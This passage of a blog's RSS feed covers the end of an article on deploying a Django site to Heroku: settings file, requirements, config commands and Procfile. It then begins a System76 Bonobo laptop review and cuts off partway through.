&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">scheme&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;postgres&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">DATABASES&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="s1">&amp;#39;ENGINE&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;django.db.backends.postgresql_psycopg2&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">scheme&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;mysql&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">DATABASES&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="s1">&amp;#39;ENGINE&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;django.db.backends.mysql&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;Unexpected error:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">exc_info&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#DATABASE_ROUTERS = (&amp;#39;settings.routers.MasterSlaveRouter&amp;#39;,)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END DATABASE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## CACHE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: https://docs.djangoproject.com/en/1.3/ref/settings/#caches&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">CACHES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;default&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;BACKEND&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;django_pylibmc.memcached.PyLibMCCache&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;LOCATION&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;localhost:11211&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;TIMEOUT&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">500&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;BINARY&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;OPTIONS&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;tcp_nodelay&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;ketama&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END CACHE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## CELERY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://docs.celeryproject.org/en/latest/configuration.html#broker-transport&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">BROKER_TRANSPORT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;amqplib&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://docs.celeryproject.org/en/latest/configuration.html#broker-url&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">BROKER_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;CLOUDAMQP_URL&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://docs.celeryproject.org/en/latest/configuration.html#celery-result-backend&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">CELERY_RESULT_BACKEND&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;amqp&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://docs.celeryproject.org/en/latest/configuration.html#celery-task-result-expires&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">CELERY_TASK_RESULT_EXPIRES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">60&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">60&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END CELERY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## STORAGE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://django-storages.readthedocs.org/en/latest/index.html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;storages&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://django-storages.readthedocs.org/en/latest/backends/amazon-S3.html#settings&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DEFAULT_FILE_STORAGE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;storages.backends.s3boto.S3BotoStorage&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">STATICFILES_STORAGE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;storages.backends.s3boto.S3BotoStorage&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">AWS_CALLING_FORMAT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">CallingFormat&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">SUBDOMAIN&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">AWS_ACCESS_KEY_ID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;AWS_ACCESS_KEY_ID&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">AWS_SECRET_ACCESS_KEY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;AWS_SECRET_ACCESS_KEY&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">AWS_STORAGE_BUCKET_NAME&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;AWS_STORAGE_BUCKET_NAME&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">STATIC_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;https://s3.amazonaws.com/&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">/&amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">AWS_STORAGE_BUCKET_NAME&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END STORAGE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## WEBSERVER CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See: http://gunicorn.org/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gunicorn&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END WEBSERVER CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## SECRET KEY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SECRET_KEY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;SECRET_KEY&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END SECRET KEY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As a quick note, every time you push code to Heroku, they automatically read
your top-level &lt;code>requirements.txt&lt;/code> file, and install any packages you&amp;rsquo;ve
defined. This makes handling site dependencies completely transparent to you
(the developer). In order to get my site working on Heroku, the only change I
had to make to my requirements file was adding &lt;code>django-pylibmc-sasl*&lt;/code>, as the
Heroku memcached add-on requires SASL authentication, which the commonly used
&lt;code>python-memcached&lt;/code> library doesn&amp;rsquo;t provide.&lt;/p>
&lt;p>Just for clarity, here&amp;rsquo;s my &lt;code>requirements.txt&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">Django==1.3.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">docutils==0.8.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">psycopg2==2.4.2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Fabric==1.3.2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">South==0.7.3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">gunicorn==0.13.4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">newrelic==1.0.5.156
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-celery==2.4.2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-kombu==0.9.4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-storages==1.1.3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">boto==2.1.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">pylibmc==1.2.2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-pylibmc-sasl==0.2.4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-sorting==0.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-guardian==1.0.3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-pagination==1.0.7
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">pyst2==0.4
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-annoying==0.7.6
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-tastypie==0.9.11
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-coverage==1.2.1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-nose==0.1.3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">nosexcover==1.0.7
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-debug-toolbar==0.8.5
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Sphinx==1.1.2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">django-cache-machine==0.6
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see in the settings file, Django is simply using environment
variables to interact with the various infrastructure components we added
earlier. All of Heroku&amp;rsquo;s add-ons work by exporting one (or more) environment
variables that your application can use. This makes using Heroku add-ons
extremely convenient. You can reuse most of your Django settings across all
your projects, since you&amp;rsquo;re storing the important stuff in environment
variables. No coupling required.&lt;/p>
&lt;p>Additionally, the Heroku CLI tool also allows you to set, edit, and remove your
own environment variables. I used this functionality to set my application&amp;rsquo;s
&lt;code>SECRET_KEY&lt;/code>, along with other arbitrary stuff (like my &lt;a href="http://aws.amazon.com/s3/" title="Amazon S3">Amazon S3&lt;/a>
credentials, etc.). To add these environment variables to my Heroku
application, I simply ran:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku config:add &lt;span class="nv">SECRET_KEY&lt;/span>&lt;span class="o">=&lt;/span>xxx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku config:add &lt;span class="nv">AWS_ACCESS_KEY_ID&lt;/span>&lt;span class="o">=&lt;/span>xxx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The next thing I did was define a top-level file, &lt;code>Procfile&lt;/code>, which Heroku uses
to specify the different types of &lt;em>dynos&lt;/em> you&amp;rsquo;ll be running. Essentially, a
Procfile just lists a series of executable commands that do stuff. Here&amp;rsquo;s the
Procfile I wrote:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">web: python project/manage.py run_gunicorn -b &amp;#34;0.0.0.0:$PORT&amp;#34; -w 3 --log-level info --settings=settings.prod
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">scheduler: python project/manage.py celeryd -B -E --settings=settings.prod
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">worker: python project/manage.py celeryd -E --settings=settings.prod
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Each line contains a reference name, followed by the command you want to run.
In my case, I&amp;rsquo;ve got three separate &lt;em>dyno&lt;/em> types: a Gunicorn instance (this is
my actual Django web application), a celerybeat instance (for scheduling
periodic tasks), and a celery worker instance (for processing asynchronous
tasks).&lt;/p>
&lt;p>The way Heroku runs and manages your application is via these &lt;em>dyno&lt;/em> types.
For instance, let&amp;rsquo;s say I want to have Heroku run three &lt;code>web&lt;/code> instances (this
is the equivalent of running three separate web servers), I could run:
&lt;code>heroku scale web=3&lt;/code> from the CLI, and Heroku would instantly ensure that three
of my &lt;code>web&lt;/code> &lt;em>dynos&lt;/em> are running&amp;ndash;automatically load balancing incoming HTTP
requests across the three.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: You can run &lt;code>heroku ps&lt;/code> to see what processes (and how many of each) are running.&lt;/p>
&lt;p>After defining my &lt;code>Procfile&lt;/code>, I just ran:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku scale &lt;span class="nv">web&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span> &lt;span class="nv">scheduler&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span> &lt;span class="nv">worker&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And Heroku instantly spun up my entire cloud infrastructure.&lt;/p>
&lt;p>&lt;strong>INSANE!&lt;/strong>&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you are running celerybeat, be sure to only run it a single time,
and no more. If you have multiple celerybeat instances running, you&amp;rsquo;ll have
duplicate tasks in your queue. That&amp;rsquo;s why I specifically created two separate
celery &lt;em>dyno&lt;/em> types, &lt;code>scheduler&lt;/code> and &lt;code>worker&lt;/code>, so that I could safely scale my
worker processes using: &lt;code>heroku scale worker=x&lt;/code>, while keeping only a single
scheduler.&lt;/p>
&lt;h2 id="a-quick-recap">A Quick Recap&lt;/h2>
&lt;p>It took me a total of ~2 hours to:&lt;/p>
&lt;ul>
&lt;li>Make a large website and API completely Heroku compatible.&lt;/li>
&lt;li>Fully provision a PostgreSQL server.&lt;/li>
&lt;li>Fully provision a memcached server.&lt;/li>
&lt;li>Fully provision a RabbitMQ server.&lt;/li>
&lt;/ul>
&lt;p>And don&amp;rsquo;t forget&amp;ndash;this is the amount of time it took me while still learning
about Heroku, and reading through the documentation. I think it is fair to say
that if there were more tutorials, articles, and information available, this
process could be shortened substantially.&lt;/p>
&lt;p>I&amp;rsquo;ll repeat this again: that is &lt;em>INSANE&lt;/em>.&lt;/p>
&lt;p>Compared to the time, effort, and maintenance required to setup my
teleconferencing application normally using a standard devops tool set, this
was a piece of cake. I didn&amp;rsquo;t have to provision a puppet server, manage a
puppet repository, or anything.&lt;/p>
&lt;p>Heroku makes deployment so easy, you don&amp;rsquo;t even need a &lt;a href="http://docs.fabfile.org/en/latest/" title="Python Fabric">fabfile&lt;/a>.&lt;/p>
&lt;h2 id="the-heroku-way">The Heroku Way&lt;/h2>
&lt;p>Through the process of learning, using, and eventually moving my company&amp;rsquo;s
entire infrastructure over to Heroku, I learned quite a bit about Heroku&amp;rsquo;s
ideals.&lt;/p>
&lt;p>In my &lt;a href="https://rdegges.com/2011/deploying-django/" title="Deploying Django">initial article&lt;/a> discussing the &lt;em>deployment problem&lt;/em> in the Django
community, I said that I have a dream for the Django community; a dream that
all Django developers can build their websites with peace of mind, knowing a
production deployment is no more than 10 minutes away.&lt;/p>
&lt;p>&lt;strong>Heroku is quickly making my dream a reality.&lt;/strong>&lt;/p>
&lt;p>The &lt;em>Heroku Way&lt;/em>, as I refer to it now, consists of a few simple principles:&lt;/p>
&lt;ul>
&lt;li>Build your Django sites using standard open source tools.&lt;/li>
&lt;li>Use Git to manage your deployment revisions.&lt;/li>
&lt;li>Instantly provision, resize, or remove any infrastructure components you
need.&lt;/li>
&lt;li>Keep your private data decoupled from your code base via environment
variables.&lt;/li>
&lt;li>Instantly scale your infrastructure up and down as you please.&lt;/li>
&lt;li>Pay by usage.&lt;/li>
&lt;/ul>
&lt;p>After having tried numerous deployment methods myself, and after using Heroku,
I strongly believe that Heroku&amp;rsquo;s approach to solving the &lt;em>deployment problem&lt;/em>
is the right way. As a developer, using Heroku is a big win:&lt;/p>
&lt;ul>
&lt;li>You can deploy both small and large sites the same way (and scale them as
large as you&amp;rsquo;d like with no added complexity).&lt;/li>
&lt;li>It&amp;rsquo;s cost effective (Heroku&amp;rsquo;s prices aren&amp;rsquo;t much more expensive than
Amazon&amp;rsquo;s, which Heroku is built on top of). I&amp;rsquo;ll go into more depth on
this in my next article.&lt;/li>
&lt;li>You aren&amp;rsquo;t locked into anything: the same code base you use to develop your
site locally can be used on Heroku in a matter of minutes.&lt;/li>
&lt;/ul>
&lt;p>Deploying code to Heroku &lt;em>feels right&lt;/em>. As a developer, you shouldn&amp;rsquo;t have to
spend 90% of your time writing puppet rules and working with vendor APIs to
provision servers. You shouldn&amp;rsquo;t need two weeks to scale your site when you
get an influx of users.&lt;/p>
&lt;p>Instead, you should be coding&amp;ndash;which is precisely what Heroku is designed to
help you do.&lt;/p>
&lt;p>In the next part of this series, I&amp;rsquo;ll be detailing my decision to move from
Rackspace to Heroku. Making an infrastructure move is a big decision. In the
next article I&amp;rsquo;ll discuss my reasoning with you.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I&amp;rsquo;ve finished the next part of the series! You can read it
&lt;a href="https://rdegges.com/2011/devops-django-part-4-choosing-heroku/" title="DevOps Django - Part 4 - Choosing Heroku">here&lt;/a>.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I also published a book on Heroku! If you&amp;rsquo;d like to check it out,
you can do so here: &lt;a href="http://www.theherokuhackersguide.com/">http://www.theherokuhackersguide.com/&lt;/a>.&lt;/p></description></item><item><title>System76 'Bonobo' Ubuntu Laptop Review</title><link>https://rdegges.com/2011/system76-bonobo-ubuntu-laptop-review/</link><pubDate>Wed, 14 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/system76-bonobo-ubuntu-laptop-review/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/system76-bonobo-ubuntu-laptop-review/system76-lid.png" alt="System76 Lid" title="System76 Lid">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/system76-bonobo-ubuntu-laptop-review/system76-screen.png" alt="System76 Screen" title="System76 Screen">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/system76-bonobo-ubuntu-laptop-review/system76-side.png" alt="System76 Side" title="System76 Side">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/system76-bonobo-ubuntu-laptop-review/system76-keyboard.png" alt="System76 Keyboard" title="System76 Keyboard">
&lt;/p>
&lt;p>I don&amp;rsquo;t normally write product reviews on my blog (although I do frequently
write &lt;a href="http://www.amazon.com/gp/pdp/profile/A3E3Y9R7W5NAI8" title="My Amazon Reviewer Profile">amazon reviews&lt;/a>), so this is a bit out of place. However, I feel the
need to write about the &lt;a href="https://www.system76.com/laptops/model/bonx6" title="System76 Bonobo Laptop">System76 laptop&lt;/a> I recently purchased.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;m &lt;em>not&lt;/em> making any money off this. I&amp;rsquo;m not in any way affiliated
with System76. I don&amp;rsquo;t have any affiliate links, or any of that jazz.&lt;/p>
&lt;p>As a programmer (and more importantly, nerd) I spend a majority of my days (and
nights) online. As a Linux guy, finding a decent laptop that has full hardware
compatibility can be a huge pain. Over the past year I&amp;rsquo;ve been using a laptop
as my primary machine, which has compounded this issue and made it a nightmare
for me to find new laptops when an old one dies. In case you&amp;rsquo;re wondering,
I&amp;rsquo;ve gone through 4 laptops this past year, and each time spent no less than 4
days finding a suitable replacement.&lt;/p>
&lt;p>The problem with finding a decent Linux laptop is that even if you google the
exact model you plan on purchasing before hand, there is no guarantee it will
work. At least in my experience, Google&amp;rsquo;ing laptop models before purchase is a
lot like playing Russian roulette&amp;ndash;you may get lucky, but it&amp;rsquo;s a risk.&lt;/p>
&lt;p>The last time I purchased a laptop earlier this year I spent quite a while
online researching the best options, eventually settling with a high end HP
that was within my price range. Fast forward two weeks to delivery day&amp;ndash;I&amp;rsquo;m
installing Ubuntu on the laptop, and to my dismay, there are no video card
drivers available. &lt;em>Damn.&lt;/em>&lt;/p>
&lt;h2 id="system76">System76&lt;/h2>
&lt;p>After having several awful Linux laptop experiences, I asked some friends to
recommend a decent hardware vendor with full Linux support. That&amp;rsquo;s when I
first heard of &lt;a href="http://www.system76.com/home/" title="System76 Ubuntu Systems">System76&lt;/a>. They&amp;rsquo;re a hardware vendor that builds and ships
Ubuntu ready laptops, desktops, and servers.&lt;/p>
&lt;p>A few weeks back, when my current laptop started dying, I decided to give
System76 a try and I ordered their &lt;a href="https://www.system76.com/laptops/model/bonx6" title="System76 Bonobo">Bonobo&lt;/a> model (their largest laptop). I
got the base model with a couple small modifications:&lt;/p>
&lt;ul>
&lt;li>A 120G SSD drive (I like speed).&lt;/li>
&lt;li>8G of RAM.&lt;/li>
&lt;/ul>
